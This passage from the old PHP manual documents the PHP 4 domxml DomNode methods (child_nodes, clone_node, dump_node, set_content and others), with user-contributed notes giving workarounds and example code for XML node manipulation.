You can then return node array or start using it however you like in other functions just like a normal associative array then.

$nodeArray['firstname'] == "Joe"
grillen at abendstille dot at
26-Jan-2004 05:08
There were some comments about problems with whitespaces.
you can easily solve them by creating the dom-document as follows:

<?php
   $xmlDoc = @domxml_open_mem(
           $xmlString
       ,    DOMXML_LOAD_PARSING + //0
           DOMXML_LOAD_COMPLETE_ATTRS + //8
           DOMXML_LOAD_SUBSTITUTE_ENTITIES + //4
           DOMXML_LOAD_DONT_KEEP_BLANKS //16
       ,    $error
       );
?>

if you call child_nodes() on eg. the root-element whitespaces are ignored.
zombie(at)artattack(dot)to
05-Nov-2003 09:17
Here is a handy little function i started using at work and home quite a bit. It takes in an array of nodes, typically from DomNode->child_nodes() as well as a filter argument and returns an array of filtered out nodes.

If the $filter arg is a string, then the $boolean argument is used. If boolean is true, then only nodes named $filter will be returned. If boolean is false, then only nodes NOT named $filter will be returend.

Additionally, you can specify the filter as an assoc array in the form of $array[$node_name] = true|false and only nodes in the array with a true value are returend. Note that if it is an array, then $boolean is not used. I was planning on having the boolean act as a negation kinda like !in_array(), but it was more for completeness than need so i dropped it.

function get_filtered_children($children_array,$filter,$boolean = true){
   $total_children = count($children_array);
   for ($i = 0; $i < $total_children; $i++){
       $cur_child = $children_array[$i];
       $node_name = $cur_child->node_name();
       if (is_array($filter)){ //array in the form of [node_name] = true|false
           if ($filter[$node_name])
               $filtered_children_array[] = $cur_child;
       }
       else if(is_string($filter)){ //string hopefully...
           if ($boolean && $node_name == $filter)
               $filtered_children_array[] = $cur_child;
           elseif (!$boolean && $node_name != $filter)
               $filtered_children_array[] = $cur_child;
       }
       else
           user_error('filter is of type ' . gettype($filter) . '. Please only supply arrays or strings.', E_USER_ERROR);
   }
   return $filtered_children_array;
}

Blaine Garrett
Web Master of the Art Attack
http://artattack.to
arcana at yetta dot net
10-Mar-2003 09:32
A better way to check for Text Child nodes (PHP 4.3.0)

   if ($childnode->node_type() == XML_TEXT_NODE)
   {
       echo "<br/>This item is a text node.";
   }
   else
   {
       echo "<br/>This item is not a text node.";
   }

You may want to look at DomElement->is_blank_node() as well.
zombie)(at)(localm)(dor)(org
31-Dec-2002 02:34
Loop through children making sure that the children are not text nodes.
<pre>

$moduleDoc = domxml_open_file("main_module_defs.xml");
$moduleDefinitionXPath = xpath_new_context($moduleDoc);
$dConvsNodeSet = xpath_eval($moduleDefinitionXPath, "//modules/module[@name='search']/dConvs");
$children = $dConvsNodeSet->nodeset[0]-> child_nodes();
$dTotal = count($children);
for ($i=0;$i<$dTotal;$i++){
   $curNode = $children[$i];
   if($curNode->node_name() != "#text"){
       echo "This are probably TextNodes...";    }
}
</pre>

--
http://artattack.to
jon.sprague(AT)itgco.com
11-Sep-2002 07:54
To answer hrosas)at(linuxmail)dot(org.

<node>
<child/>
</node>

<node> has 3 children.
1. whitespace between <node> and <child/>
2. <child/>
3. whitespace between <child/> and </node>

The whitespace is treated like text. To avoid this remove all whitespace.

<node><child/></node>

This can get hard to read, but correct.

But, you can tell some programs to ignore the whitespace, so it remains easy to read.

Jon Sprague
hrosas)at(linuxmail)dot(org
28-Aug-2002 09:36
I was using child_nodes and if I have a node like this.
<node>
   <child/>
</node>

the node <node> have two children: one the "    " spaces that appear as #text on php and <child/>. Is that normal? I think node has just one child <child/>
j dot metzger at steptown dot com
26-Aug-2002 11:01
if no children present, method
returns
FALSE (bool)

you can check the return result like this:

$children = $domNode -> child_nodes();
if (is_bool($children))
   print "Sorry, no children present ...";
add a note add a note

后退 | 起点 | 前进
DomNode->attributes | 上一级 | DomNode->clone_node


DomNode->clone_node

(no version information, might be only in CVS)

DomNode->clone_node -- Clones a node

说明

domelement DomNode->clone_node ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
krymsonwulf at gmail dot com
06-Jun-2006 05:41
It seems like this function is non-recursive: cloning a node will not clone it's child nodes in my experience
andrew at transitionmedia dot co dot uk
12-Feb-2006 11:04
As of version 4.3 PHP doesn't support Appending a child from another source document. If you are trying to  import information from multiple sources into a final document [for transformation using XSL as an example] then you can have problems. This technique can be used to do it though.

I am assuming you have two documents open, $xmldoc1 and $xmldoc2 and you have selected [via XPath or explicit searching] the nodes you want in each document. Thus $xmldoc1_appending_node is the node you would like to add $xmldoc2_importnode to.

<?

// first we create a temporary node within the document we want to add to.
$temp_importnode = $xmldoc1->create_element("import");

// now we have a node that is in the right document context we can clone the one we want into this one.
$temp_importnode = $xmldoc_importnode->clone_node(true);

// by using true in the above call to clone_node() we copy all of the child nodes as well. Use false or nothing if you just want the containing node with no children.

$xmldoc1_appending->append_child($importnode);

?>

Now your document contains the new nodes imported from a different document.
hrz at geodata dot soton dot ac dot uk
11-May-2005 11:28
Passing boolean 'true' as the argument to this function will result in all child nodes being cloned as well.
r dot kamstra at syntomax dot com
09-Nov-2002 12:06
if a DomNode is duplicated it's siblings and parent are not duplicated
add a note add a note

后退 | 起点 | 前进
DomNode->child_nodes | 上一级 | DomNode->dump_node


DomNode->dump_node

(no version information, might be only in CVS)

DomNode->dump_node -- Dumps a single node

说明

string DomNode->dump_node ( void )

警告

本函数暂无文档，仅有参数列表。

See also domdocument_dump_mem().

add a note add a note User Contributed Notes
sofa77 at gmx dot de
14-Apr-2005 05:04
the function below to dump only the contents of a node looks as follows in php5. necessarry to say, that there is no dump_node() function in php5... it took me some time to find this out.

function dump_child_nodes($node)
{
  $output = '';
  $owner_document = $node->ownerDocument;

  foreach ($node->childNodes as $el){
   $output .= $owner_document->saveXML($el);
  }
  return $output;
}
zombie(at)artattack(dot)to
07-Nov-2003 06:19
Here is a handy little function for dumping the contents of a element node when you do not want the element itself yet you do not want the output escaped. For example, you have an HTML body tag and you want to dump the children, but you do not want all the children HTML tags escaped, which it seems like the get value/content functions do. There might be a better way of doing this, but this is pretty stable.

function dump_child_nodes($node){
   $owner_document = $node->owner_document();
   $children = $node->child_nodes();
   $total_children = count($children);
   for ($i = 0; $i < $total_children; $i++){
       $cur_child_node = $children[$i];
       $output .= $owner_document->dump_node($cur_child_node);
   }
   return $output;
}

Blaine Garrett
Webmaster of Art Attack
http://artattack.to
13-Mar-2003 03:47
The note above is exact :
dump_node is not a method of the DomNode class anymore but a method of DomDocument class.
Note that "$dom->dump_node($myNodeObject); " also works in PHP 4.2.
So I recommand to use it like this.

Last thing : you can't specified the encoding in the dump_node methode contrary to the dump_mem method.
So characters like '' are always converted in UTF-8.
The function below does exactly the same work as dump_node but also take in argument the encoding :
(it's not elegant but it works)

function my_dump_node($node,$encoding){
   $domNode = domxml_new_doc("1.0");
   $clonedNode = $node->clone_node(true);
   $domNode->append_child($clonedNode);
   $result = $domNode->dump_mem(true,$encoding);
   $pos = strpos($result,"?>");
   return substr($result,$pos+2);
}
so
$dom->dump_node($myNodeObject);
becomes
my_dump_node($myNodeObject,"ISO-8859-1");
gerret at oneota dot net
06-Feb-2003 11:59
I migrated some code from PHP 4.2.1 to PHP 4.3.0. Platform was Apache 1.3.9 on Windows. My code kept crashing Apache until I saw the previous note. dump_node() now appears to be a member of DomDocument, and not of DomNode as it used to be. At least, when I changed my code

$node->dump_node($node)

to

$doc->dump_node($node)

Apache quit crashing and the dump_node() method worked as intended.
gk at proliberty dot com
11-Jan-2003 04:39
The first comment above is wrong, at least, now in PHP 4.3.0
Example:
<?php
$xml=<<<eot
<node attr="test"><test>hi</test>
</node>
eot;
$doc = domxml_open_mem($xml);
$root=$doc->document_element();
//This will NOT work:
//$nodeDump =$doc->dump_node($doc);
//This works:
$nodeDump =$doc->dump_node($root);
echo htmlentities($nodeDump);
?>
lukeN~O at S~P~A~Mbenoire dot com
31-Oct-2002 09:43
I'm running PHP 4.2.3 and there is a second parameter which defines the format of the output, as with dump_mem() - see the notes for dump_mem() for usage of this.
KDan
22-Aug-2002 09:22
Note: This also dumps the tag that defines the node you are trying to dump. It is useful because it is the only way I could find to get a node's content including the tags in it.

Example:
From this xml bit of file:
<block>
         Blah blah blah <some_stuff/>
</block>

doing a dump_node on this block node will return exactly all of the xml typed above, including the <block> tags. Trying to get the value or content of the node, however, will only return "Blah blah blah" as <some_stuff> is considered a child, not part of the /text() xpath.
dan at mojavelinux dot com
27-Apr-2002 09:37
As of right now, php 4.2.0 this function requires that the first parameter be the node, so it would require

DomNode->dump_node(DomNode)
add a note add a note

后退 | 起点 | 前进
DomNode->clone_node | 上一级 | DomNode->first_child


DomNode->first_child

(no version information, might be only in CVS)

DomNode->first_child -- Returns first child of node

说明

domelement DomNode->first_child ( void )

Returns the first child of the node.

(PHP >= 4.3 only) If no first child is found, NULL is returned.

See also domnode_last_child(), and
domnode_next_sibling(),
domnode_previous_sibling().

add a note add a note User Contributed Notes
pavol dot macura at cargo-partner dot com
20-Feb-2003 12:50
As for PHP < 4.3.0, this function returns a DomNode in case the first child was found.
If no child node was found, this function returns FALSE.

In PHP >=4.3.0, this function returns a DomNode in case the first child was found.
If no child node was found, this function returns NULL.

Be aware of it!
jeff dot bailey at fundserv dot com
05-Jun-2002 05:30
This returns a DomNode, not a bool.
add a note add a note

后退 | 起点 | 前进
DomNode->dump_node | 上一级 | DomNode->get_content


DomNode->get_content

(no version information, might be only in CVS)

DomNode->get_content -- Gets content of node

说明

string DomNode->get_content ( void )

This function returns the content of the actual node.

例子 1. Getting a content

<?php
if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$root = $dom->document_element();

$node_array = $root->get_elements_by_tagname("element");

for ($i = 0; $i<count($node_array); $i++) {
    $node = $node_array[$i];
    echo "The element[$i] is: " . $node->get_content();
}

?>

add a note add a note User Contributed Notes
d dot cicognani at ciconet dot it
24-Dec-2005 03:43
Only to correct a very small error, but maybe difficult to find in che function GetContentAsString posted by someone in April 2005.
There was $anode-node_value() instead of $anode->node_value().
This is the right version:

<?php

function GetContentAsString($node) {
  $st = "";
  foreach ($node->child_nodes() as $cnode)
   if ($cnode->node_type()==XML_TEXT_NODE)
     $st .= $cnode->node_value();
   else if ($cnode->node_type()==XML_ELEMENT_NODE) {
     $st .= "<" . $cnode->node_name();
     if ($attribnodes=$cnode->attributes()) {
       $st .= " ";
       foreach ($attribnodes as $anode)
         $st .= $anode->node_name() . "='" .
           $anode->node_value() . "'";
       }
     $nodeText = GetContentAsString($cnode);
     if (empty($nodeText) && !$attribnodes)
       $st .= " />";        // unary
     else
       $st .= ">" . $nodeText . "</" .
         $cnode->node_name() . ">";
     }
  return $st;
  }

?>
krautman at gmx dot net
06-Dec-2005 11:14
get_content() always returns UTF-8 (as should be!).
To get the content right just code it like

$myContent = utf8_decode($myNode->get_content());

Works fine!
sysadmin at webnow dot com dot br
26-Jul-2005 08:43
Seems that get_content() always returns utf-8.
Opening document with something like

$dom->dump_mem(true,"ISO-8859-1")

makes no difference!
12-Apr-2005 12:41
Here's a routine I wrote that acts like get_content() but returns embedded XHTML in the string returned.  I needed this as I was wanting to embed HTML formatting codes in my HTML (e.g., "<br />") and converting them to HTML entities or using CDATA was a huge hassle.

<?php

function GetContentAsString($node) {
  $st = "";
  foreach ($node->child_nodes() as $cnode)
   if ($cnode->node_type()==XML_TEXT_NODE)
     $st .= $cnode->node_value();
   else if ($cnode->node_type()==XML_ELEMENT_NODE) {
     $st .= "<" . $cnode->node_name();
     if ($attribnodes=$cnode->attributes()) {
       $st .= " ";
       foreach ($attribnodes as $anode)
         $st .= $anode->node_name() . "='" .
           $anode-node_value() . "'";
       }
     $nodeText = GetContentAsString($cnode);
     if (empty($nodeText) && !$attribnodes)
       $st .= " />";        // unary
     else
       $st .= ">" . $nodeText . "</" .
         $cnode->node_name() . ">";
     }
  return $st;
  }

?>
add a note add a note

后退 | 起点 | 前进
DomNode->first_child | 上一级 | DomNode->has_attributes


DomNode->has_attributes

(no version information, might be only in CVS)

DomNode->has_attributes -- Checks if node has attributes

说明

bool DomNode->has_attributes ( void )

This function checks if the node has attributes.

See also domnode_has_child_nodes().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->get_content | 上一级 | DomNode->has_child_nodes


DomNode->has_child_nodes

(no version information, might be only in CVS)

DomNode->has_child_nodes -- Checks if node has children

说明

bool DomNode->has_child_nodes ( void )

This function checks if the node has children.

See also domnode_child_nodes().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->has_attributes | 上一级 | DomNode->insert_before


DomNode->insert_before

(no version information, might be only in CVS)

DomNode->insert_before -- Inserts new node as child

说明

domelement DomNode->insert_before ( domelement newnode, domelement refnode )

This function inserts the new node newnode right before the node refnode. The return value is the inserted node. If you plan to do further modifications on the appended child you must use the returned node.

(PHP >= 4.3 only) If newnode already is part of a document, it will be first unlinked from its existing context. If refnode is NULL, then newnode will be inserted at the end of the list of children.

domnode_insert_before() is very similar to domnode_append_child() as the following example shows which does the same as the example at domnode_append_child().

例子 1. Adding a child

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$elements = $dom->get_elements_by_tagname("informaltable");
print_r($elements);
$element = $elements[0];

$newnode = $element->insert_before($element, $element);
$children = $newnode->children();
$attr = $children[1]->set_attribute("align", "left");

echo "<pre>";
$xmlfile = $dom->dump_mem();
echo htmlentities($xmlfile);
echo "</pre>";
?>

See also domnode_append_child().

add a note add a note User Contributed Notes
captainbajoo at juno dot com
11-May-2006 11:40
In a numbered ordering of the document's nodes, insertBefore() will place newNode at the index held by refNode, and increment refNode's index and all subsequent nodes' indices. This is instead of maintaining refNode's index, placing newNode at refNode's position minus one, and shifting all previous nodes' indices down by one.

The base case of refNode.index = 0 demonstrates why this must be the case, but it is good to know this explicitly, as it affects methods that deal with iteration such as getElementsByTagName().
add a note add a note

后退 | 起点 | 前进
DomNode->has_child_nodes | 上一级 | DomNode->is_blank_node


DomNode->is_blank_node

(no version information, might be only in CVS)

DomNode->is_blank_node -- Checks if node is blank

说明

bool DomNode->is_blank_node ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->insert_before | 上一级 | DomNode->last_child


DomNode->last_child

(no version information, might be only in CVS)

DomNode->last_child -- Returns last child of node

说明

domelement DomNode->last_child ( void )

Returns the last child of the node.

(PHP >= 4.3 only) If no last child is found, NULL is returned.

See also domnode_first_child(), and
domnode_next_sibling(),
domnode_previous_sibling().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->is_blank_node | 上一级 | DomNode->next_sibling


DomNode->next_sibling

(no version information, might be only in CVS)

DomNode->next_sibling -- Returns the next sibling of node

说明

domelement DomNode->next_sibling ( void )

This function returns the next sibling of the current node. If there is no next sibling it returns FALSE (< 4.3) or null (>= 4.3). You can use this function to iterate over all children of a node as shown in the example.

例子 1. Iterate over children

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$elements = $dom->get_elements_by_tagname("tbody");
$element = $elements[0];
$child = $element->first_child();

while ($child) {
   print_r($child);
   $child = $child->next_sibling();
}
?>

See also domnode_previous_sibling().

add a note add a note User Contributed Notes
filip dot gorny at gmail dot com
19-Dec-2005 04:57
There is a simply bug in the example.
We use getElementsByTagName, no get_elements_by_tag_name.

Nemis
add a note add a note

后退 | 起点 | 前进
DomNode->last_child | 上一级 | DomNode->node_name


DomNode->node_name

(no version information, might be only in CVS)

DomNode->node_name -- Returns name of node

说明

string DomNode->node_name ( void )

Returns name of the node. The name has different meanings for the different types of nodes as illustrated in the following table.

表格 1. Meaning of value

Type | Meaning
DomAttribute | value of attribute
DomAttribute |
DomCDataSection | #cdata-section
DomComment | #comment
DomDocument | #document
DomDocumentType | document type name
DomElement | tag name
DomEntity | name of entity
DomEntityReference | name of entity reference
DomNotation | notation name
DomProcessingInstruction | target
DomText | #text

add a note add a note User Contributed Notes
zombie)(at)(localm)(dot)(.org
31-Dec-2002 02:33
Loop through children making sure that the children are not text nodes.
<pre>

$moduleDoc = domxml_open_file("main_module_defs.xml");
$moduleDefinitionXPath = xpath_new_context($moduleDoc);
$dConvsNodeSet = xpath_eval($moduleDefinitionXPath, "//modules/module[@name='search']/dConvs");
$children = $dConvsNodeSet->nodeset[0]-> child_nodes();
$dTotal = count($children);
for ($i=0;$i<$dTotal;$i++){
   $curNode = $children[$i];
   if($curNode->node_name() != "#text"){
       echo "This are probably TextNodes...";    }
}
</pre>

--
http://artattack.to
add a note add a note

后退 | 起点 | 前进
DomNode->next_sibling | 上一级 | DomNode->node_type


DomNode->node_type

(no version information, might be only in CVS)

DomNode->node_type -- Returns type of node

说明

int DomNode->node_type ( void )

Returns the type of the node. All possible types are listed in the table in the introduction.

例子 1.

<?php

include 'example.inc';

$dom = domxml_open_mem($xmlstr);

$chapter = $dom->document_element();

// Let's see the elements contained in chapter
foreach($chapter->child_nodes() as $node) {
  if ($node->node_type() == XML_ELEMENT_NODE) {
    echo $node->node_name() . "\n";
  }
}

?>

上例将输出：

title
para

add a note add a note User Contributed Notes
wasti dot redl at gmx dot net
23-May-2005 04:40
That's not a parser issue, that's according to the DOM specification.

> Attr objects inherit the Node interface, but since they are not
> actually child nodes of the element they describe, the DOM does
> not consider them part of the document tree.

They are not child nodes, so they shouldn't be in the child_nodes collection.
18-Jun-2003 03:37
Doesn't pick up nodes of type XML_ATTRIBUTE_NODE (attributes)

Use DomNode->has_attributes() then DomNode->attributes() to retrieve a list (NameNodeMap object) of Attr objects for current node.

Is likely to be a parser issue, I'm using version 2.4.19-4 of libxml2.

Pete.
add a note add a note

后退 | 起点 | 前进
DomNode->node_name | 上一级 | DomNode->node_value


DomNode->node_value

(no version information, might be only in CVS)

DomNode->node_value -- Returns value of a node

说明

string DomNode->node_value ( void )

Returns value of the node. The value has different meanings for the different types of nodes as illustrated in the following table.

表格 1. Meaning of value

Type | Meaning
DomAttribute | value of attribute
DomAttribute |
DomCDataSection | content
DomComment | content of comment
DomDocument | null
DomDocumentType | null
DomElement | null
DomEntity | null
DomEntityReference | null
DomNotation | null
DomProcessingInstruction | entire content without target
DomText | content of text

add a note add a note User Contributed Notes
rsl at zonapersonal dot com
28-Jan-2006 08:18
Inmost work with HTML and browsers you may need to use

$text=utf8_decode($domnode->nodeValue);
or
$text=htmlentities(utf8_decode($domnode->nodeValue));

insted of

$text=$domnode->nodeValue;

To have a browser readable output spetialy if you deal with things like & etc or &amp;&aacute;&aacute; etc.
Salman
02-Oct-2003 08:42
To get the contents of the node, which is for instance:

<a>this is a test</a>

To get the string: "this is a test" use:

// assuming dom is an actual xml-dom
$temp = $dom->get_elements_by_tagname("a");
foreach($temp as $nexta) {
   echo $nexta->get_content();
}

- Salman
http://www.setcomputing.com/
add a note add a note

后退 | 起点 | 前进
DomNode->node_type | 上一级 | DomNode->owner_document


DomNode->owner_document

(no version information, might be only in CVS)

DomNode->owner_document -- Returns the document this node belongs to

说明

domdocument DomNode->owner_document ( void )

This function returns the document the current node belongs to.

The following example will create two identical lists of children.

例子 1. Finding the document of a node

<?php
$doc = domxml_new_doc("1.0");
$node = $doc->create_element("para");
$node = $doc->append_child($node);
$children = $doc->children();
print_r($children);

$doc2 = $node->owner_document();
$children = $doc2->children();
print_r($children);
?>

See also domnode_insert_before().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->node_value | 上一级 | DomNode->parent_node


DomNode->parent_node

(no version information, might be only in CVS)

DomNode->parent_node -- Returns the parent of the node

说明

domnode DomNode->parent_node ( void )

This function returns the parent node.

(PHP >= 4.3 only) If no parent is found, NULL is returned.

The following example will show two identical lists of children.

例子 1. Finding the document of a node

<?php
$doc = domxml_new_doc("1.0");
$node = $doc->create_element("para");
$node = $doc->append_child($node);
$children = $doc->children();
print_r($children);

$doc2 = $node->parent_node();
$children = $doc2->children();
print_r($children);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->owner_document | 上一级 | DomNode->prefix


DomNode->prefix

(no version information, might be only in CVS)

DomNode->prefix -- Returns name space prefix of node

说明

string DomNode->prefix ( void )

Returns the name space prefix of the node.

add a note add a note User Contributed Notes
sondberg at indexdata dot dk
15-May-2002 07:22
It seems that this method is currently (version 4.2.1) not implemented.
add a note add a note

后退 | 起点 | 前进
DomNode->parent_node | 上一级 | DomNode->previous_sibling


DomNode->previous_sibling

(no version information, might be only in CVS)

DomNode->previous_sibling -- Returns the previous sibling of node

说明

domelement DomNode->previous_sibling ( void )

This function returns the previous sibling of the current node. If there is no previous sibling it returns FALSE (< 4.3) or NULL (>= 4.3). You can use this function to iterate over all children of a node as shown in the example.

See also domnode_next_sibling().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->prefix | 上一级 | DomNode->remove_child


DomNode->remove_child

(no version information, might be only in CVS)

DomNode->remove_child -- Removes child from list of children

说明

domtext DomNode->remove_child ( domtext oldchild )

This functions removes a child from a list of children. If child cannot be removed or is not a child the function will return FALSE. If the child could be removed the functions returns the old child.

例子 1. Removing a child

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$elements = $dom->get_elements_by_tagname("tbody");
$element = $elements[0];
$children = $element->child_nodes();
$child = $element->remove_child($children[0]);

echo "<PRE>";
$xmlfile = $dom->dump_mem(true);
echo htmlentities($xmlfile);
echo "</PRE>";
?>

See also domnode_append_child().

add a note add a note User Contributed Notes
iloveitaly at gmail.com
05-Dec-2004 10:28
The remove_child() function seems to have a bug. if the parent node  of the node you are trying to delete is the same as the root node it will give you unexpected errors. I fixed this by checking if the parent node of the node i was deleting was the same as the document node. take a look at the function below if you are running into the same problem. $this->xmlData reffers to the domxml object inside the class i was using.
<?php
   function deleteNode($ref, $levels) {
       $parent = $ref->parent_node();
       $root = $this->xmlData->document_element();
       if($parent->node_name()==$root->node_name()) {
           $parent = $this->xmlData->document_element();
       }
       if($parent->remove_child($ref)) {
           return true;
       } else {
           exit("error removing node");
       }
   }
?>
add a note add a note

后退 | 起点 | 前进
DomNode->previous_sibling | 上一级 | DomNode->replace_child


DomNode->replace_child

(no version information, might be only in CVS)

DomNode->replace_child -- Replaces a child

说明

domelement DomNode->replace_child ( domelement oldnode, domelement newnode )

(PHP 4.2) This function replaces the child oldnode with the passed new node. If the new node is already a child it will not be added a second time. If the old node cannot be found the function returns FALSE. If the replacement succeeds the old node is returned.

(PHP 4.3) This function replaces the child oldnode with the passed newnode, even if the new node already is a child of the DomNode. If newnode was already inserted in the document it is first unlinked from its existing context. If the old node cannot be found the function returns FALSE. If the replacement succeeds the old node is returned. (This behaviour is according to the W3C specs).

See also domnode_append_child()

add a note add a note User Contributed Notes
nospam at fivetide dot com
27-Feb-2004 10:25
There's a bug in the docs here. The order of arguments is the other way round i.e.
object DomNode->replace_child ( object newnode, object oldnode)

Here's an example of it working:

<?php
$doc = domxml_new_doc("1.0");
$root = $doc->create_element("HTML");
$doc->append_child($root);
$head = $doc->create_element("HEAD");
$root->append_child($head);
$title = $doc->create_element("TITLE");
$head->append_child($title);
$text = $doc->create_text_node("This is the title");
$title->append_child($text);

echo "<PRE>";
echo htmlentities($doc->dump_mem(true));
echo "</PRE>";

$newtitle = $doc->create_text_node("No, this is the title");
// object DomNode->replace_child ( object newnode, object oldnode)
$title->replace_child($newtitle,$title->first_child());

echo "<PRE>";
echo htmlentities($doc->dump_mem(true));
echo "</PRE>";
?>
add a note add a note

后退 | 起点 | 前进
DomNode->remove_child | 上一级 | DomNode->replace_node


DomNode->replace_node

(no version information, might be only in CVS)

DomNode->replace_node -- Replaces node

说明

domelement DomNode->replace_node ( domelement newnode )

(PHP 4.2) This function replaces an existing node with the passed new node. Before the replacement newnode is copied if it has a parent to make sure a node which is already in the document will not be inserted a second time. This behaviour enforces doing all modifications on the node before the replacement or to refetch the inserted node afterwards with functions like domnode_first_child(), domnode_child_nodes() etc..

(PHP 4.3) This function replaces an existing node with the passed new node. It is not copied anymore. If newnode was already inserted in the document it is first unlinked from its existing context. If the replacement succeeds the old node is returned.

See also domnode_append_child()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->replace_child | 上一级 | DomNode->set_content


DomNode->set_content

(no version information, might be only in CVS)

DomNode->set_content -- Sets content of node

说明

bool DomNode->set_content ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
dh at victory-sa dot com
28-Sep-2004 09:00
function replace_content( &$node, $new_content )
{
   $dom = &$node->owner_document();
   $kids = &$node->child_nodes();
   foreach ( $kids as $kid )
       if ( $kid->node_type() == XML_TEXT_NODE )
           $node->remove_child ($kid);
   $node->set_content($new_content);
}
robinson at rsl dot com dot tw
06-Nov-2003 04:18
If you want to set_content which is not in Alphabet, such as big5 charset, you have to use the iconv() to convert your codeset from big5 to something else, such as UTF-8. Here is a example:

$node->set_content(iconv("big5","UTF-8","This is a test.");
$node->set_content(iconv("big5","UTF-8","[Chinese Chars]");

These works find that won't dump garbage chars when your use dump_mem to file.

Ps. don't forget to include the php_iconv.dll
28-Jun-2003 08:00
As of 4.3.2:

$names = $contact->get_elements_by_tagname("name");
$name = $names[0];
$name_text_node = $name->first_child();
$name_text_node->set_content("Joe");

does not work.  Currently it looks like dom text nodes are implemented as "domtext", not "domelement" and therefore lack the set_content method.  As far as I've been able to tell, replacing is the best solution.
fivebull at 163 dot com
27-Mar-2003 11:02
if you had used set_name() to change the node's tag name :

 $newnode =& $dom->create_element( $node->tagname );
should be:
 $newnode =& $dom->create_element(  $node->node_name());
ericb at computer dot org
14-Mar-2003 02:18
Actually, don't forget that the text is actually a child node of the given element. The domxml coders decided to append to the content in the case that this function is called on a node which has children (to avoid a crash), but you shouldn't normally call it that way.

For example, if your document had:

<contact>
<name>Eric</name>
</contact>

and you wanted to change the content of the name element and $contact is the contact node, then you would use:

$names = $contact->get_elements_by_tagname("name");
$name = $names[0];
$name_text_node = $name->first_child();
$name_text_node->set_content("Joe");

Hope this clarifies things. Removing nodes, and inserting new ones is not an efficient solution :)

Cheers,

Eric
KDan
23-Sep-2002 09:21
/**
 * Replace node contents
 *
 * Needed as a workaround for bug/feature of set_content
 * This version puts the content
 * as the first child of the new node.
 * If you need it somewhere else, simply
 * move $newnode->set_content() where
 * you want it.
 */
function replace_content( &$node, &$new_content )
{
   $dom =& $node->owner_document();

   $newnode =& $dom->create_element( $node->tagname );

   $newnode->set_content( $new_content );

   $atts =& $node->attributes();
   foreach ( $atts as $att )
   {
       $newnode->set_attribute( $att->name, $att->value );
   }

   $kids =& $node->child_nodes();
   foreach ( $kids as $kid )
   {
       if ( $kid->node_type() != XML_TEXT_NODE )
       {
           $newnode->append_child( $kid );
       }
   }

   $node->replace_node( $newnode );
}
KDan
05-Sep-2002 10:34
As of v4.2.2 of PHP, with libxml version 2.4.19, set_content does not replace the content of the node, but only appends to it. Bug, feature, who knows!

To replace the content of a node, create a new node, copy the properties and children of the old node to the new one, then set the content of the new one and use replace_node to put it back into the DoM.

Daniel
add a note add a note

后退 | 起点 | 前进
DomNode->replace_node | 上一级 | DomNode->set_name


DomNode->set_name

(no version information, might be only in CVS)

DomNode->set_name -- Sets name of node

说明

bool DomNode->set_name ( void )

Sets name of node.

See also domnode_node_name().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->set_content | 上一级 | DomNode->set_namespace


DomNode->set_namespace

(no version information, might be only in CVS)

DomNode->set_namespace -- Sets namespace of a node

说明

void DomNode->set_namespace ( string uri [, string prefix] )

Sets the namespace of a node to uri. If there is already a namespace declaration with the same uri in one of the parent nodes of the node, the prefix of this is taken, otherwise it will take the one provided in the optional parameter prefix or generate a random one.

See also domdocument_create_element_ns(), and domnode_add_namespace()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->set_name | 上一级 | DomNode->unlink_node


DomNode->unlink_node

(no version information, might be only in CVS)

DomNode->unlink_node -- Deletes node

说明

void DomNode->unlink_node ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
starloran at hotmail dot com
01-Oct-2004 09:46
I tried to use unlink_node to delete a node, but it never worked.
However, you can delete a node with this:

function delNode($node){
                   $nud=$node->parent_node();
                   $nud->remove_child($node);
}
phpnotes AT no Spam dot phillfox.net
23-Nov-2002 06:07
Just like dump_node*, this method requres the node as an argument.
Like this:
     $removeThis = $dom->get_element_by_id ('26');
     $unlinked = $removeThis->unlink_node($removeThis);

In the example above, $unlinked seems to be NULL.

I'm using 4.3.0-dev (build: Nov 14 2002 10:13:12) in Module mode on Apache/1.3.24 - Win2000.

* see: http://www.php.net/manual/en/function.domnode-dump-node.php
add a note add a note

后退 | 起点 | 前进
DomNode->set_namespace | 上一级 | DomProcessingInstruction->data


DomProcessingInstruction->data

(no version information, might be only in CVS)

DomProcessingInstruction->data -- Returns the data of ProcessingInstruction node

说明

class DomProcessingInstruction {

string data ( void )

}

This method gets the data of the ProcessingInstruction node.

返回值

Returns the data of the Processing Instruction.

Migrating to PHP 5

Use the data property of DOMProcessingInstruction.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomNode->unlink_node | 上一级 | DomProcessingInstruction->target


DomProcessingInstruction->target

(no version information, might be only in CVS)

DomProcessingInstruction->target -- Returns the target of a ProcessingInstruction node

说明

class DomProcessingInstruction {

string target ( void )

}

This method gets the target of the ProcessingInstruction node.

返回值

Returns the target of the Processing Instruction.

Migrating to PHP 5

Use the target property of DOMProcessingInstruction.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
